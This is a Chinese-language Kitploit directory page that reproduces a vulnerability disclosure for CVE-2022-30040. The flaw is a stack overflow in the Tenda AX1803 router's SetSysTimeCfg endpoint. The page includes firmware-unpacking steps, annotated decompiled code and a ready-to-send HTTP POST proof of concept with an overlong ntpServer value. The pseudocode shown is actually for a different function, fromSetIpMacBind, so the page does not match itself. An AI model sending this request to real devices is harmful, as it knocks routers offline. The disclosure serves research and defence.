Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-30040 — 概念验证漏洞利用程序,针对CVE-2022-30040,这是一个Tenda AX1803路由器固件中的栈缓冲区溢出漏洞,可通过SetSysTimeCfg端点导致拒绝服务。 | Kitploit
工具/GitHubGitHub/le1a/cve-2022-30040
嵌入式系统安全物联网安全漏洞分析漏洞利用模糊测试二进制利用
GitHuble1a/cve-2022-30040

CVE-2022-30040

概念验证漏洞利用程序,针对CVE-2022-30040,这是一个Tenda AX1803路由器固件中的栈缓冲区溢出漏洞,可通过SetSysTimeCfg端点导致拒绝服务。

查看仓库
4年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Tenda AX1803 v1.0.0.1_2890 拒绝服务漏洞

概述

  • 制造商网站信息:https://www.tenda.com.cn/profile/contact.html
  • 固件下载地址:https://www.tenda.com.cn/download/default.html

漏洞描述

漏洞位于 rootfs_ubifs 文件系统中的 /bin/tdhttpd 内的 /goform/SetSysTimeCfg 函数,攻击者可以访问 http://ip/goform/SetSysTimeCfg 并通过设置 ntpserve 参数,引发栈缓冲区溢出,从而实现路由器拒绝服务的效果。

漏洞详情

首先解包固件:

从制造商官网( https://www.tenda.com.cn/download/detail-3225.html )下载固件,由于固件未加密,可直接通过 binwalk 工具(命令:binwalk -Me *.bin)对 Tenda ax1803 v1.0.0.1_2890 固件进行解包,得到 rootfs_ubifs 文件系统。

漏洞分析:

(注:以下代码截图是通过 ida7.6_pro_32-bit 对 rootfs_ubifs 中的 /bin/tdhttpd 文件进行反汇编和反编译得到的伪 C 语言代码)

当访问 /goform/SetSysTimeCfg 时,用户会进入 fromsetsystime 函数进行处理。以下是 fromsetsystime 函数的部分伪代码截图及注释:

图片

图片

图片

当用户访问 http://ip/goform/SetSysTimeCfg 时,rootfs_ubifs 中的 /bin/tdhttpd 会调用 fromsetsystime 处理该访问,并将通过 POST 方法提交的 ntpserver 参数赋值给 V4 指针,随后进入一个必然执行的 if 分支(分析已写在伪代码截图的注释中)。该 if 分支中存在漏洞代码: strcpy (&V32[16], B4)。因此,攻击者可以通过设置 V4 提交的 ntpserver 参数,覆盖函数返回地址为无效地址,即通过 POST 溢出 V32 的边界,导致路由器重启,从而实现拒绝服务攻击的效果。

附 fromsetsystime 函数的伪代码:

root@kitploit:~
int __fastcall fromSetIpMacBind(int a1)
{
const char *Parameter; // r5
unsigned int v2; // r0
int i; // r4
char *v4; // r0
char *v5; // r11
int v6; // r3
int v7; // r5
int v8; // r2
int v10; // [sp+8h] [bp-440h]
char *nptr; // [sp+10h] [bp-438h]
int v13; // [sp+14h] [bp-434h]
char v14[32]; // [sp+28h] [bp-420h] BYREF
char v15[32]; // [sp+48h] [bp-400h] BYREF
char v16[64]; // [sp+68h] [bp-3E0h] BYREF
char v17[64]; // [sp+A8h] [bp-3A0h] BYREF
char dest[64]; // [sp+E8h] [bp-360h] BYREF
char v19[128]; // [sp+128h] [bp-320h] BYREF
char v20[128]; // [sp+1A8h] [bp-2A0h] BYREF 可以通过设置list参数通过strcpy函数溢出的
栈上变量
char s[256]; // [sp+228h] [bp-220h] BYREF
char v22[288]; // [sp+328h] [bp-120h] BYREF
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = GetParameter(a1, "bindnum", "0");
Parameter = GetParameter(a1, "list", &byte_1E9CC8);// 将访问
ip/goform/SetIpMacBind时post提交的list参数
// 赋值给Parameter变量
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
printf("staic ip number over %d\n", 32);
goto LABEL_30;
}
for ( i = 1; ; ++i )
{
v6 = Parameter;
if ( Parameter )
v6 = 1;
if ( i > v10 )
v6 = 0;
if ( !v6 )
break;
memset(v20, 0, sizeof(v20));
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(dest, 0, sizeof(dest));
v4 = strchr(Parameter, '\n'); // 如果parameter也就是post提交的
list参数中存在换行符,则v4不为零,否则v4为零。
v5 = v4;
if ( v4 ) // v4不为零,也就是提交的list参数中存
在换行符
{
*v4 = 0;
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
Parameter = v5 + 1;
}
else // v4为零,也就是提交的list参数中无换
行符
{
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
}
if ( v20[0] == 13 )
{
if ( _isoc99_sscanf(&v20[1], "%17[0-9a-fA-F:]\r%s", v14) != 2 )
goto LABEL_20;
strcpy(dest, &byte_1E9CC8);
}
else if ( _isoc99_sscanf(v20, "%[^\r]\r%[0-9a-fA-F:]\r%s", dest) != 3 )
{
LABEL_20:
v2 = puts("get ip and mac error!");
v6 = 1;
break;
}
printf("%s %d# dev_name=%s,mac_addr=%s,ip_addr=%s\n", "set_mac_bind_list",
543, dest, v14, v15);
sprintf(v17, "dhcps.Staticip%d", i);
sprintf(v22, "%s;%s;0", v15, v14);
v2 = SetValue(v17, v22);
if ( dest[0] )
{
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
v2 = sub_62C98(dest, v14);
}
}
v7 = v10 + 1;
if ( i == v10 + 1 )
{
if ( !v6 )
{
puts("set static num sucess!");
v2 = SetValue("dhcps.Staticnum", nptr);
while ( v7 <= v13 )
{
memset(v19, 0, sizeof(v19));
sprintf(v16, "dhcps.Staticip%d", v7);
GetValue(v16, v19);
sprintf(v16, "dhcps.Staticip%d", v7++);
v2 = SetValue(v16, &byte_1E9CC8);
}
goto LABEL_27;
}
LABEL_30:
v8 = 1;
goto LABEL_31;
}
if ( v6 )
goto LABEL_30;
LABEL_27:
if ( sub_8CB38(v2) )
{
memset(v22, 0, 0x100u);
strcpy(v22, "op=200");
send_msg_to_netctrl(19, v22);
}
v8 = 0;
LABEL_31:
sprintf(s, "{\"errCode\":%d}", v8);
return sub_55970(a1, s);
}

POC

root@kitploit:~
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ntpServer=a*num

(注:num 需要大于 0x134h 字节,即发送的字符数需大于 0x134h 才能引发 DoS 攻击)

下载工具